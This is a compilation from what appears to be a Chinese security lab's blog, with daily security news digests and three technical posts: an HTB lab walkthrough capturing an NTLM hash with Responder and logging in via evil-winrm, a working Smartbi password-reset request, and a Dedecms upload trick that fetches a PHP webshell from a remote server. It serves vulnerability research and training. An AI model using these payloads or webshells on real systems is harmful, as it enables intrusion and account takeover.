网络安全日报 2023年08月17日
1、黑客针对LinkedIn账户发起网络攻击
https://cyberint.com/blog/research/linkedin-accounts-under-attack-how-to-protect-yourself/ 许多 LinkedIn 用户的帐户被接管或锁定,并且无法通过 LinkedIn 支持找回账户。有些用户甚至被迫支付赎金才能重新获得控制权,或者面临账户被永久删除的情况。攻击者似乎正在使用泄露的凭据或暴力破解来尝试控制大量 LinkedIn 帐户。对于受到强密码或双因素身份验证适当保护的帐户,多次接管尝试导致平台实施临时帐户锁定作为保护措施。然后,系统会提示这些帐户的所有者通过提供附加信息来验证所有权,并允许再次登
2、近两千台Citrix NetScaler服务器被植入后门
https://blog.fox-it.com/2023/08/15/approximately-2000-citrix-netscalers-backdoored-in-mass-exploitation-campaign/ 攻击者利用被跟踪为 CVE-2023-3519 的关键严重性远程代码执行漏洞,在一场大规模黑客活动中入侵了近 2000 台 Citrix NetScaler 服务器。研究人员表示,截至 8 月 14 日,在已发现的受感染服务器中,仍有 1828 台服务器存在后门,其中 1247 台服务器在黑客植入 Webshell 后已得到修补。
3、KmsdBot恶意软件针对物联网设备发起攻击
https://www.akamai.com/blog/security-research/updated-kmsdbot-binary-targeting-iot 研究人员跟踪KmsdBot恶意软件时,发现了针对物联网 (IoT) 设备的更新的 Kmsdx 二进制文件。该二进制文件现在包括对 telnet 扫描的支持以及对更多 CPU 架构的支持,从而扩展了其攻击能力和攻击面。这些更新的功能自 2023 年 7 月中旬以来才出现。该恶意软件针对私人游戏服务器、云托管提供商以及某些政府和教育网站。该恶意软件的活动表明,易受攻击的物联网设备仍然是互联网上的重大威胁,因此更加需要定期采取安全措施
4、Ivanti Avalanche存在堆栈缓冲区溢出漏洞
https://www.bleepingcomputer.com/news/security/ivanti-avalanche-impacted-by-critical-pre-auth-stack-buffer-overflows/ 两个基于堆栈的缓冲区溢出(统称为 CVE-2023-32560)影响了 Ivanti Avalanche,这是一种企业移动管理 (EMM) 解决方案,旨在管理、监控和保护各种移动设备。这些漏洞被评为严重漏洞(CVSS v3:9.8),无需用户身份验证即可远程利用,可能允许攻击者在目标系统上执行任意代码。该漏洞影响 WLAvalancheService.exe
5、谷歌发布可抵御量子攻击的安全密钥实施
https://www.securityweek.com/google-releases-security-key-implementation-resilient-to-quantum-attacks/ 谷歌周二发布了它所说的第一个 FIDO2 安全密钥实施方案,该实施方案应该能够抵抗量子攻击。
6、谷歌发布Chrome 116,修复了26个漏洞
https://www.securityweek.com/chrome-116-patches-26-vulnerabilities/ 谷歌周二宣布向稳定渠道发布 Chrome 116,其中包含 26 个漏洞的补丁,其中包括外部研究人员报告的 21 个漏洞。在外部报告的错误中,有八个错误的严重程度为“高”,其中大多数是内存安全问题。
7、普华永道因MOVEit漏洞泄露银行8万名储户的信息
https://www.freebuf.com/news/375127.html 8月14日,波多黎各自治区最大的银行——人民银行向缅因州司法部长提交了一份客户信息泄露报告。该报告指出,由于供应商普华永道使用的MOVEit软件存在安全漏洞,导致银行82217名储户的个人信息被泄露。
8、全球最大金矿和钼矿厂遭网络攻击:生产受到部分影响
https://www.secrss.com/articles/57787 全球最大金矿、最大钼生产商、主要铜生产商自由港公司遭受网络攻击,部分系统被迫关闭,对生产造成了一定影响。
9、Discord.io 在黑客窃取76W用户数据后确认数据泄露
https://www.bleepingcomputer.com/news/security/discordio-confirms-breach-after-hacker-steals-data-of-760k-users/ Discord.io 自定义邀请服务在遭受数据泄露后暂时关闭,暴露了 760,000 名成员的信息。
10、信息窃取恶意软件Raccoon Stealer以全新隐身版本正式“回归”
https://www.freebuf.com/news/375011.html 近日,Raccoon Stealer 信息窃取恶意软件的开发者结束其在黑客论坛长达 6 个月的停滞期,向网络犯罪分子推广该恶意软件的 2.3.0 全新版本。Raccoon 是最知名、使用最广泛的信息窃取恶意软件之一,自 2019 年以来一直通过订阅模式以 200 美元/月的价格出售给威胁行为者。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Responder与evil-winRM配合远程登录Windows
0x01.evil-winRM
0x01.1概述
在使用和介绍Responder之前,先来了解一下evil-winRM:
evil-winrm是Windows远程管理(WinRM) Shell的终极版本。
Windows远程管理是WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防火墙影响的协议,允许不同供应商的硬件和操作系统相互操作。而微软将其包含在他们的系统中,是为了便于系统管理员在日常工作中,远程管理服务器,或通过脚本同时管理多台服务器,以提高他们的工作效率。
此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。因此,我们说它可用于黑客攻击的后利用/渗透测试阶段。相对于攻击者来说,这个程序能为他们提供更好更简单易用的功能。当然,系统管理员也可以将其用于合法目的,但其大部分功能都集中于黑客攻击/渗透测试。
0x01.2安装和使用
安装:
方法一
sudo apt install evil-winrm
方法二:
git clone https://github.com/Hackplayers/evil-winrm.git
方法三:
gem install evil-winrm
使用:
首先查看帮助文档
root@kali:~# evil-winrm -h
Evil-WinRM shell v3.5
用法:evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r 领域] [--spn SPN_PREFIX] [-l]
-S, --ssl 启用 ssl
-c, --pub-key PUBLIC_KEY_PATH 公钥证书的本地路径
-k, --priv-key PRIVATE_KEY_PATH 私钥证书的本地路径
-r, --realm DOMAIN Kerberos auth,还必须使用此格式在 /etc/krb5.conf 文件中设置 -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH Powershell 脚本本地路径
--spn SPN_PREFIX Kerberos 身份验证的 SPN 前缀(默认 HTTP)
-e, --executables EXES_PATH C# 可执行文件本地路径
-i, --ip IP 远程主机IP或主机名。 Kerberos 身份验证的 FQDN(必需)
-U, --url URL 远程 url 端点(默认 /wsman)
-u, --user USER 用户名(如果不使用 kerberos,则需要)
-p, --password PASS 密码
-H, --hash HASH NTHash
-P, --port PORT 远程主机端口(默认5985)
-V, --version 显示版本
-n, --no-colors 禁用颜色
-N, --no-rpath-completion 禁用远程路径完成
-l, --log 记录 WinRM 会话
-h, --help 显示此帮助消息
0x02.Responder
0x02.1 概念
响应 LLMNR、NBT-NS 和 MDNS 投毒者。 它将根据名称后缀回答特定的 NBT-NS(NetBIOS 名称服务)查询(请参阅:http://support.microsoft.com/kb/163409)。默认情况下,该工具将仅响应适用于 SMB 的文件服务器服务请求。
0x02.2 特性
内置 SMB 身份验证服务器
默认情况下支持具有扩展安全性 NTLMSSP 的 NTLMv1、NTLMv2 哈希。 已成功测试从 Windows 95 到 Server 2012 RC、Samba 和 Mac OSX Lion。 NT4 支持明文密码,当设置--lm选项时,LM 哈希降级。该工具启动时默认启用此功能。
内置 MSSQL 身份验证服务器
为了将 SQL 身份验证重定向到此工具,您需要为 Windows Vista 之前的系统设置选项 -r(用于 SQL Server 查找的 NBT-NS 查询使用工作站服务名称后缀)(LLMNR 将用于 Vista 和 更高)。 该服务器支持 NTLMv1、LMv2 哈希。 此功能已在 Windows SQL Server 2005 和 2008 上成功测试。
内置 HTTP 身份验证服务器
为了将 HTTP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMv1、NTLMv2 哈希和基本身份验证。 该服务器已在 IE 6 至 IE 10、Firefox、Chrome、Safari 上成功测试。
注意:此模块也适用于从 Windows WebDav 客户端 (WebClient) 发出的 WebDav NTLM 身份验证。 您现在可以将自定义文件发送给受害者。
内置 HTTPS 身份验证服务器
与上面相同。 文件夹 certs/ 包含 2 个默认密钥,其中包括一个虚拟私钥。 这是故意的,目的是让 Responder 开箱即用。 添加了一个脚本,以防您需要生成自己的自签名密钥对。
内置 LDAP 身份验证服务器
为了将 LDAP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMSSP 哈希和简单身份验证(明文身份验证)。 该服务器已在 Windows 支持工具"ldp"和 LdapAdmin 上成功测试。
内置 FTP、POP3、IMAP、SMTP 身份验证服务器
该模块将收集明文凭据
内置 DNS 服务器
该服务器将回答 A 类查询。 当它与 ARP 欺骗结合起来时,这真的很方便。
内置 WPAD 代理服务器
如果启用了“自动检测设置”,此模块将捕获网络上启动 Internet Explorer 的任何人的所有 HTTP 请求。 该模块非常有效。 您可以在 Responder.conf 中配置自定义 PAC 脚本,并将 HTML 注入服务器的响应中。 请参阅 Responder.conf。
浏览器监听器
该模块允许在隐身模式下找到 PDC。
指纹识别
当使用选项 -f时,响应程序将对发出 LLMNR/NBT-NS 查询的每个主机进行指纹识别。 所有采集模块在指纹模式下仍然可以工作。
ICMP 重定向
python tools/Icmp-Redirect.py
适用于 Windows XP/2003 及更早版本上的 MITM 域成员。 这种攻击与 DNS 模块相结合非常有效。
流氓 DHCP
python tools/DHCP.py
DHCP 通知欺骗。 允许您让真正的 DHCP 服务器发布 IP 地址,然后发送 DHCP Inform 应答以将您的 IP 地址设置为主 DNS 服务器,以及您自己的 WPAD URL。
分析模式
该模块允许您查看网络上的 NBT-NS、BROWSER、LLMNR、DNS 请求,而不会破坏任何响应。 此外,您还可以被动映射域、MSSQL 服务器、工作站,看看 ICMP 重定向攻击在您的子网上是否可行。
0x02.3 Responder欺骗原理
在使用Responder之前,我们要先了解windwos默认开启的三种协议,这三种协议分别是链路本地多播名称解析(LLMNR)、名称服务器(NBNS) 协议和多播DNS(mdns)协议。
LLMNR
链路本地多播名称解析(LLMNR)是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista开始就内嵌支持,Linux系统也通过systemd实现了此协议。它通过UDP 5355端口进行通信,且LLMNR支持IPV6。
NBNS
网络基本输入/输出系统(NetBIOS) 名称服务器(NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过UDP 137端口进行通信,但NBNS不支持IPV6。
mDNS
在计算机网络中 ,多播DNS( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统(DNS)基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且mDNS也支持IPV6。
目前仅有windows 10以上的系统支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。
总的来说,以上几种协议在windows中都是默认启用的,主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。
0x02.4 使用方法
root@kali:~#responder -h
用法:responder -I eth0 -w -d
或者:
responder -I eth0 -wd
选项:
--version 显示程序的版本号并退出
-h, --help 显示此帮助消息并退出
-A, --analyze 分析模式。 此选项允许您查看NBT-NS,
BROWSER、LLMNR 请求没有响应。
-I eth0,--接口=eth0
要使用的网络接口,可以使用“ALL”作为
所有接口的通配符
-i 10.0.0.21,--ip=10.0.0.21
要使用的本地 IP(仅适用于 OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
使用其他 IPv6 地址对所有请求进行毒害
响应者之一。
-e 10.0.0.22, --externalip=10.0.0.22
使用其他 IP 地址毒害所有请求
响应者之一。
-b, --basic 返回基本 HTTP 身份验证。 默认值:NTLM
-d, --DHCP 启用 DHCP 广播请求的应答。 这
选项将在 DHCP 响应中注入 WPAD 服务器。
默认值:假
-D, --DHCP-DNS 该选项将在 DHCP 中注入 DNS 服务器
响应,否则将添加 WPAD 服务器。
默认值:假
-w, --wpad 启动 WPAD 恶意代理服务器。 默认值为
错误的
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
恶意 WPAD 代理使用的上游 HTTP 代理
传出请求(格式:主机:端口)
-F, --ForceWpadAuth 对 wpad.dat 文件强制进行 NTLM/Basic 身份验证
恢复。 这可能会导致登录提示。 默认:
错误的
-P, --ProxyAuth 强制 NTLM(透明)/基本(提示)
代理的身份验证。 WPAD 不需要
在。 这个选项非常有效。 默认值:假
--lm 强制 Windows XP/2003 和 LM 哈希降级
早些时候。 默认值:假
--disable-ess 强制 ESS 降级。 默认值:假
-v, --verbose 增加详细程度。
0x03 靶场实战--Responder与evil-winRM配合远程登录windows
测试环境:
kali (攻击机) 192.168.154.128
vpn接入内网环境: ip -> 10.10.14.115
HTB靶机 windows 10 (受害机) 10.129.48.161
开启靶机
前置的步骤简单过一下:
TASK 1
When visiting the web service using the IP address, what is the domain that we are being redirected to?
unika.htb
直接curl探测一下就行
访问域名需要在本地的hosts文件就行一个配置:
TASK 2
Which scripting language is being used on the server to generate webpages?
PHP
直接使用wappalyzer插件即可
TASK 3
What is the name of the URL parameter which is used to load different language versions of the webpage?
page
查看网页源代码:
TASK 4
Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
../../../../../../../../windows/system32/drivers/etc/hosts
这里熟悉文件包含漏洞(FI)师傅能直接get到点:
TASK 5
Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
//10.10.14.6/somefile
这里和上一问同理
TASK 6
What does NTLM stand for?
NT (New Technology) LAN Manager (NTLM)
查阅Wiki百科就行(可以往下深入了解,这是内网的开始......
TASK 7
Which flag do we use in the Responder utility to specify the network interface?
-I
通过上面的帮助文档可以知道
TASK 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.
John the Ripper
也是查阅Wiki百科即可
本文的关键操作,可直接跳至此处
接下来将是本文的重点操作:
首先查看一下自身ip(vpn),并开启监听
开启监听:responder -I tun0 -w -d
接着利用web端的远程文件包含漏洞(RFI)访问我自身(10.10.14.115)的任意文件,进行一个Hash泄露
payload:
http://unika.htb/index.php?page=//10.10.14.115/somefile
Responder就可以捕获到来自受害机(10.129.48.161)带有用户的密码(password)的Hash值
Administrator::RESPONDER:9baf19c29ef21567:761FED4C7E3DB9BCFEF3E747E797B10D:010100000000000000E56ED168C8D901D119B9B66118B37A00000000020008004E0044004200450001001E00570049004E002D004C004C0047004200590033003100340035005800510004003400570049004E002D004C004C004700420059003300310034003500580051002E004E004
将这段字符串保存到一个txt文件中,接下来使用JHON进行一个Hash爆破:
john -w=/usr/share/wordlists/rockyou.txt admin.txt
能够获取到Administrator用户的密码为:badminton
TASK 9
What is the password for the administrator user?
badminton
TASK 10
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
5985
使用nmap进行一个开放端口探测即可:
nmap -p- --min-rate 1000 -sV 10.129.48.161
拿到用户的账户和密码之后就到了一开始所提到的evil-winRM的使用了
evil-winrm -i 10.129.48.161 -u administrator -p badminton
这样就可以远程登录windows服务器啦,接下来我们能做到的事儿有很多。
第一步肯定是找题目需要的flag
找到我们需要的flag文件只是最基础的,别着急提交,不然就浪费这个练习工具的好机会了
可以多试试几个命令:
menu:加载Invoke-Binary和l04d3r-LoadDll函数。当加载ps1时,会显示其所有功能。
download:下载远程文件到本地,如果远程文件在当前目录中,则不需要local_path。
download local_path remote_path
这里可以尝试一下下载flag.txt
upload:从本地(kali)上传文件到目标机器,如果本地文件与evil-winrm.rb文件位于同一目录中,则不需要remote_path。
upload local_path remote_path
这里可以试着传一个txt文件
Invoke-Binary:允许在内存中执行从c#编译的exe。该名称可使用tab键自动补全,最多允许3个参数。可执行文件必须在-e参数设置的路径中。
这里由于我在连接时并未指定exe的路径所以这里没法正常执行命令。
services:列出所有服务(无需管理员权限)
加载 powershell 脚本
要加载ps1文件,你只需键入名称(可以使用tab自动补全)。脚本必须位于-s参数中设置的路径中。再次键入menu并查看加载的功能。
这里我没指定路径所以是没有powershell脚本的,所以没法正常演示。
最后
本次的分享就到这儿结束了,当然还有很多的操作和细节没有能够展示到,后续就留给师傅们去探索了。
网络安全日报 2023年08月16日
1、研究人员披露针对npm开发者的供应链攻击活动
https://blog.phylum.io/sophisticated-highly-targeted-attacks-continue-to-plague-npm/ npm 包注册表已成为另一个高度针对性的攻击活动的目标,该攻击活动旨在诱使开发人员下载恶意模块。2023 年 8 月 9 日至 12 日期间,多达 9 个软件包已被确定上传到 npm。其中包括:ws-paso-jssdk、pingan-vue-floating、srm-front-util、cloud-room-video、progress-player 、ynf-core-loader、ynf-core-renderer、
2、攻击者利用测试版应用程序欺骗移动应用程序商店安全审查
https://www.ic3.gov/Media/Y2023/PSA230814 美国联邦调查局 (FBI) 警告网络犯罪分子采用的一种新策略,他们在流行的移动应用商店上推广恶意“测试版”加密货币投资应用程序,然后用于窃取加密货币。攻击者将恶意应用程序作为“测试版”提交到移动应用程序商店,这意味着它们处于早期开发阶段,旨在供技术爱好者或粉丝在软件正式发布之前进行测试并向开发人员提交反馈。这种方法的好处是,测试版应用程序不会经过标准、严格的代码审查流程,而是对其安全性进行表面审查。
3、攻击者入侵基于WordPress漏洞的网站进行钓鱼攻击
https://securelist.com/phishing-with-hacked-sites/110334/ 网络钓鱼攻击者希望他们的虚假页面花费最少的精力,但产生尽可能多的收入,因此他们急切地使用各种工具和技术来逃避检测,并节省时间和金钱。例如网络钓鱼工具包或Telegram 机器人的自动化。另一种攻击者(包括网络钓鱼者)常用的策略是侵入网站并在这些网站上放置恶意内容,而非注册新域名。除了在他们入侵的网站中隐藏网络钓鱼页面外,攻击者还可以窃取服务器上的所有数据并完全破坏网站的运行。
4、印度计算机紧急响应小组对Android 13等多个版本发出高风险警告
https://www.indiatoday.in/technology/news/story/government-alerts-mobile-users-issues-high-risk-warning-for-android-13-and-other-versions-2420682-2023-08-14 印度计算机紧急响应小组 (CERT-In) 已向 Android 用户发出警告。此警告被归类为“高严重性”,涉及在多个版本的 Android 操作系统(包括最新的 Android 13)中发现的多个漏洞。这些漏洞被归类为“高严重性”,可能会被攻击者利用控制易受攻击的设备、窃取敏感信息
5、Monti 勒索软件团伙推出了新的 Linux 加密器
https://securityaffairs.com/149539/cyber-crime/monti-ransomware-news-linux-variant.html Monti 勒索软件运营商在暂停两个月后带着加密器的新 Linux 变体回归。
6、研究人员披露名为QwixxRAT的新型恶意软件
https://www.uptycs.com/blog/remote-access-trojan-qwixx-telegram 攻击者通过 Telegram 和 Discord 平台宣传销售一种名为 QwixxRAT 的新型远程访问木马。研究人员发现该恶意软件一旦安装在受害者的 Windows 平台计算机上,就会收集敏感数据,然后将其发送到攻击者的 Telegram 机器人,从而使他们能够未经授权访问受害者的敏感信息。该恶意软件收集网络浏览器历史记录、书签、cookie、信用卡信息、击键、屏幕截图、与某些扩展名匹配的文件以及来自 Steam 和 Telegram 等应用程序的数据。
7、专家警告网络犯罪分子滥用 Cloudflare R2 托管网络钓鱼页面
https://thehackernews.com/2023/08/cybercriminals-abusing-cloudflare-r2.html 过去六个月中,威胁行为者使用 Cloudflare R2 托管网络钓鱼页面的次数增加了 61 倍。Netskope 安全研究员 Jan Michael表示:“大多数网络钓鱼活动都针对 Microsoft 登录凭据,也有一些页面针对 Adobe、Dropbox 和其他云应用程序。”
8、预算超 43 亿元!金融之都纽约发布首个网络安全战略
https://www.secrss.com/articles/57764 美国纽约州州长 Kathy Hochul 推出一项广泛的网络安全战略,拨款 6 亿美元(约合人民币 43.53 亿元)用于保护该州数字和关键基础设施免受网络威胁。
9、福特曝 WiFi 安全漏洞,官方称仍可安全驾驶
https://www.bleepingcomputer.com/news/security/ford-says-cars-with-wifi-vulnerability-still-safe-to-drive/ 福特汽车供应商的安全人员向福特公司报告了一个安全漏洞,漏洞编号 CVE-2023-29468,该漏洞位于汽车信息娱乐系统集成的 WiFi 系统 WL18xx MCP 驱动程序中,允许 WiFi 范围内的攻击者使用特制的帧触发缓冲区溢出。
10、英国政府承包商 MPD FM 泄露员工护照数据
https://securityaffairs.com/149440/security/mpd-fm-data-leak.html 为英国多个政府部门提供服务的设施管理和安全公司 MPD FM 泄露了一个开放实例,暴露了员工护照、签证和其他敏感数据。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Smartbi 修改用户密码漏洞
漏洞简介
通过查看 Smartbi 的补丁包信息,发现存在漏洞在某种特定情况下修改用户的密码,进行简单的复现和分析
漏洞复现
在页面上修改密码时,需要知道原本的用户对应的密码
直接构造这样的数据包,就不需要知道原本的密码,知道用户名就可以修改密码
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.222.133:18080
Content-Length: 73
Cache-Control: max-age=0
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://192.168.222.133:18080
Referer: http://192.168.222.133:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=4A4AC06EC1DF3CDDC45239C211926FA1
Connection: close
className=UserService&methodName=changePasswordEx¶ms=["admin","","1"]
漏洞分析
smartbi.usermanager.ILocalUserManagerModule#changePasswordEx
smartbi.usermanager.UserManagerModule#changePasswordEx
修改密码的操作虽然获取了用户名 原本的密码 修改后的新密码,但是对原本的密码并没有做任何校验处理
userId 是根据传入的用户名查询到的
smartbi.usermanager.UserManagerModule#updateUserEx
smartbi.usermanager.UserManagerModule#updateUserExtend
漏洞修复
上传补丁包后再发送数据包,发现被拦截
匹配到对应的类名和方法就结束执行
网络安全日报 2023年08月15日
1、MaginotDNS攻击利用DNS缓存中毒的弱检查
https://www.blackhat.com/us-23/briefings/schedule/#maginotdns-attacking-the-boundary-of-dns-caching-protection-31901 来自加州大学欧文分校和清华大学的研究人员团队开发了一种名为“MaginotDNS”的新型强大缓存中毒攻击,该攻击针对条件 DNS (CDNS) 解析器,可以危害整个 TLD 顶级域。DNS(域名系统)是一种针对互联网资源和网络的分层分布式命名系统,有助于将人类可读的域名解析为数字 IP 地址,以便建立网络连接。由于不同 DNS 软件和服务器模式(递归解析器和转发
2、苹果设备上的VPN易受到TunnelCrack组合漏洞攻击
https://papers.mathyvanhoef.com/usenix2023-tunnelcrack.pdf TunnelCrack 是 VPN 中两个广泛存在的安全漏洞的组合。攻击者可以利用这些漏洞将流量泄露到 VPN 隧道之外。研究人员测试表明,每个 VPN 产品至少在一台设备上容易受到攻击。研究人员发现,iPhone、iPad、MacBook 和 macOS 上的 VPN 极有可能容易受到攻击,Windows 和 Linux 上的大多数 VPN 都容易受到攻击,Android 是最安全的,大约有四分之一的 VPN 应用程序容易受到攻击。无论 VPN 使用何种安全协议,所发现的漏
3、研究人员披露macOS后台任务管理机制的漏洞
https://www.wired.com/story/apple-mac-background-task-management-flaw/ 研究人员发现 Apple macOS 后台任务管理机制存在漏洞,该机制可能被利用来绕过该公司最近添加的监控工具。Apple 的后台任务管理工具专注于监视软件“持久性”。恶意软件可以设计为短暂的,仅在设备上短暂运行或直到计算机重新启动为止。但它也可以被构建为更深入地建立自身并“坚持”目标,即使计算机关闭并重新启动也是如此。当某些东西持续自行安装时,可能导致任何复杂的恶意软件都可以轻松绕过监控。
4、SugarCRM零日漏洞可被利用以在云端访问密钥
https://unit42.paloaltonetworks.com/sugarcrm-cloud-incident-black-hat/ SugarCRM(CVE-2023-22952)零日身份验证绕过和远程代码执行漏洞是一个典型的漏洞,实际上,防御者需要注意更多内容。由于它是一个 Web 应用程序,如果未正确配置或保护,幕后的基础设施可能会让攻击者扩大其影响。当攻击者了解云服务提供商使用的底层技术时,如果他们能够访问具有正确权限的凭据,攻击者就可以入侵更多的基础设施。
5、CyberPower 和 Dataprobe的九个漏洞使数据中心易遭受黑客攻击
https://securityaffairs.com/149478/security/cyberpower-dcim-pdu-flaws.html CyberPower PowerPanel Enterprise DCIM 平台和 Dataprobe PDU 中的多个漏洞可能会使数据中心遭受黑客攻击。
6、Python URL处理模块urllib存在严重漏洞可导致任意命令执行
https://securityaffairs.com/149447/hacking/python-url-severe-vulnerability.html Python URL解析功能中存在严重漏洞,可被利用实现任意文件读取和命令执行。该问题影响 3.11 之前的所有 python 版本。
7、奥科桌面电话和 Zoom 的零接触配置 (ZTP) 存在多个漏洞
https://securityaffairs.com/149487/hacking/zooms-zero-touch-provisioning-flaws.html 奥科桌面电话和 Zoom 的零接触配置 (ZTP) 中存在多个缺陷,可能会遭受多种攻击。
8、Iagona ScrutisWeb 漏洞可能使 ATM 机遭受远程攻击
https://www.securityweek.com/iagona-scrutisweb-vulnerabilities-could-expose-atms-to-remote-hacking/ 法国公司 Iagona 制造的 ScrutisWeb ATM 机群监控软件中发现的多个漏洞可被用来远程攻击 ATM。 这些安全漏洞是由 Synack Red Team 成员发现的,供应商于 2023 年 7 月发布了 ScrutisWeb 版本 2.1.38,对其进行了修补。 ScrutisWeb 允许组织通过网络浏览器监控银行或零售 ATM 机群,使他们能够快速响应问题。
9、科罗拉多州警告因IBM Moveit 漏洞导致 400 万人数据泄露
https://securityaffairs.com/149498/data-breach/colorado-hcpf-department-data-breach.html 科罗拉多州医疗保健政策和融资部 (HCPF) 披露了 IBM MOVEit 攻击后发生的数据泄露事件。影响超过 400 万人。
10、在 WolfGPT 和 WormGPT 之后,Evil-GPT 出现在黑客论坛上
https://thecyberexpress.com/wolfgpt-wormgpt-evil-gpt-surface-hacker-forum/ 一位用户正在推广“Evil-GPT”的销售,这是一种为恶意使用而制作的生成AI聊天机器人,将其定位为WormGPT的最终替代品。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Dedecms V110最新版RCE---Tricks
前言
刚发现Dedecms更新了发布版本,顺便测试一下之前的day有没有修复,突然想到了新的tricks去实现RCE。
文章发布的时候估计比较晚了,一直没时间写了。
利用
/uploads/dede/article_string_mix.php
/uploads/dede/article_template_rand.php
/uploads/dede/sys_task.php
......
我发布的文档->>>>添加文档->>>>站内选择进行文件上传
/uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
/uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives
文件上传
在vps上起一个http的服务,端口设置为8016
远程服务器存放shell.php,文件内容为
<?php @eval ($_POST ['a']);?>
准备一个图片格式的文件,文件内容为,这里我上传的文件名称为f.png
<? copy("http://192.168.225.40:8016/shell.php","shell.php");?>
上传成功后可以看到上传的图片的位置
修改文件名为b.php
保存发现png图片已成功被更改,访问b.php,从远程vps下载了shell.php,当前目录下存在一个名称为shell.php的木马文件
利用webshell进行命令执行。
成功执行了命令
思考
如果不考虑文件上传后缀名绕过方法,仅以上面图片格式的文件上传的话,那么无所谓上传的什么内容,因为本身来讲dede的代码中对文件内容是做的有校验的
所以文件内有两种绕过方法
正则绕过
disable函数绕过
简单搜索了一下各个平台的文章,其实是有师傅正则绕过实现webshell的。第二点儿,disable函数绕过,往前几个版本,有兴趣的可以看一下源码,之前利用全局变量Globals绕过
代码内容
<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['test1']($b['test2'])
?>
命令执行
http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);&&成功执行命令,且该命令执行为未授权命令执行。
所以在官方前几个版本中已经更新了,添加进了禁用方法
所以在绕过禁用方法上来讲更容易一点儿。所以在利用上这里利用了copy函数的特性,那么这里提醒一下,其它的函数当然也可以满足效果。
网络安全日报 2023年08月14日
1、研究人员披露Lapsus$勒索组织利用SIM交换进行网络攻击
https://www.cisa.gov/sites/default/files/2023-08/CSRB_Lapsus%24_508c.pdf 美国政府分析了 Lapsus$ 勒索组织利用 SIM 交换等简单技术破坏数十个安全态势良好的组织并发布了一份报告。Lapsus$ 是一个组织松散的团体,主要由青少年组成,成员来自英国和巴西,他们在 2021 年至 2022 年间从事活动,目的是为了恶名、经济利益或娱乐。他们还将各种复杂的技术与“创造力的闪光”结合起来。去年 12 月, 在 Lapsus$ 泄露了所谓受害者的专有数据后,发生了一系列归因于或由 Lapsus$ 声称的事件后,对该组织的
2、研究人员披露SystemBC恶意后门新变体DroxiDat
